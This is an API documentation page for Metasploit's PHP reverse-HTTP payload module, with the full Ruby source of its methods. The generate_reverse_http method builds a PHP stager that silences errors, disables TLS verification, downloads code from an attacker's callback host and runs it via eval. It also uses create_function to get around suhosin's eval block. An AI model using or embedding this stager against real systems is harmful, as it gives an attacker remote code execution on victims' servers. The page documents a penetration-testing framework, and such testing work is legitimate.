Module: Msf::Payload::Php::ReverseHttp

Includes:
UUID::Options
Defined in:
lib/msf/core/payload/php/reverse_http.rb

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITPH, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_cookie_resource, #process_query_string_resource, #process_uri_resource, #process_uuid_string, #uri_checksum_lookup

Instance Method Details

#generate(opts = {}) ⇒ Object

Generate the first stage



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# File 'lib/msf/core/payload/php/reverse_http.rb', line 24

def generate(opts = {})
  opts[:scheme] = 'http' if opts[:scheme].nil?
  generate_reverse_http(opts)
end

#generate_callback_uri(opts = {}) ⇒ Object

Return the longest URI that fits into our available space



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# File 'lib/msf/core/payload/php/reverse_http.rb', line 49

def generate_callback_uri(opts = {})
  uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))

  if self.available_space.nil? || dynamic_size? || required_space > self.available_space
    uri_req_len = 30
  end

  uuid = generate_payload_uuid(arch: ARCH_PHP, platform: 'php')
  generate_uri_uuid_mode(opts[:uri_uuid_mode] || :init_php, uri_req_len, uuid: uuid)
end

#generate_callback_url(opts) ⇒ Object

Return the callback URL



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# File 'lib/msf/core/payload/php/reverse_http.rb', line 32

def generate_callback_url(opts)
  if Rex::Socket.is_ipv6?(opts[:host])
    target_url = "#{opts[:scheme]}://[#{opts[:host]}]"
  else
    target_url = "#{opts[:scheme]}://#{opts[:host]}"
  end

  target_url << ':'
  target_url << opts[:port].to_s
  target_url << luri
  target_url << generate_callback_uri(opts)
  target_url
end

#generate_reverse_http(opts = {}) ⇒ Object 



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# File 'lib/msf/core/payload/php/reverse_http.rb', line 60

def generate_reverse_http(opts = {})
  ds = opts[:datastore] || datastore
  opts.merge!({
    host: ds['LHOST'] || '127.127.127.127',
    port: ds['LPORT'],
  })

  callback_url = generate_callback_url(opts)
  scheme = opts[:scheme]

  php = %Q^/*<?php /**/
error_reporting(0);
$url = '#{callback_url}';
$opts = array('#{scheme}' => array(
'method' => 'GET',
'timeout' => 30,
'header' => "User-Agent: #{ds['HttpUserAgent'] || 'Mozilla/5.0'}\\r\\n",
'ignore_errors' => true,
));
^

  if scheme == 'https'
    php << %Q^$opts['ssl'] = array(
'verify_peer' => false,
'verify_peer_name' => false,
'allow_self_signed' => true,
);
^
  end

  proxy_host = ds['HttpProxyHost']
  if proxy_host.to_s != ''
    proxy_port = ds['HttpProxyPort'] || 8080
    php << %Q^$opts['#{scheme}']['proxy'] = 'tcp://#{proxy_host}:#{proxy_port}';
$opts['#{scheme}']['request_fulluri'] = true;
^
  end

  php << %Q^$ctx = stream_context_create($opts);
$b = file_get_contents($url, false, $ctx);
if ($b === false) { die(); }
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
{
$suhosin_bypass = create_function('', $b);
$suhosin_bypass();
}
else
{
eval($b);
}
die();^

  php.gsub!(/#.*$/, '')
  Rex::Text.compress(php)
end

#initialize(info = {}) ⇒ Object 



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# File 'lib/msf/core/payload/php/reverse_http.rb', line 9

def initialize(info = {})
  super(info)
  register_options([
    OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile'])
  ])
  register_advanced_options(
    Msf::Opt::http_header_options +
    Msf::Opt::http_proxy_options
  )
  deregister_options('HttpProxyType')
end

#required_space ⇒ Object

Determine the maximum amount of space required for the features requested



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# File 'lib/msf/core/payload/php/reverse_http.rb', line 123

def required_space
  space = cached_size
  space += 100
  space += 256
  space
end

#transport_config(opts = {}) ⇒ Object 



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# File 'lib/msf/core/payload/php/reverse_http.rb', line 116

def transport_config(opts = {})
  transport_config_reverse_http(opts)
end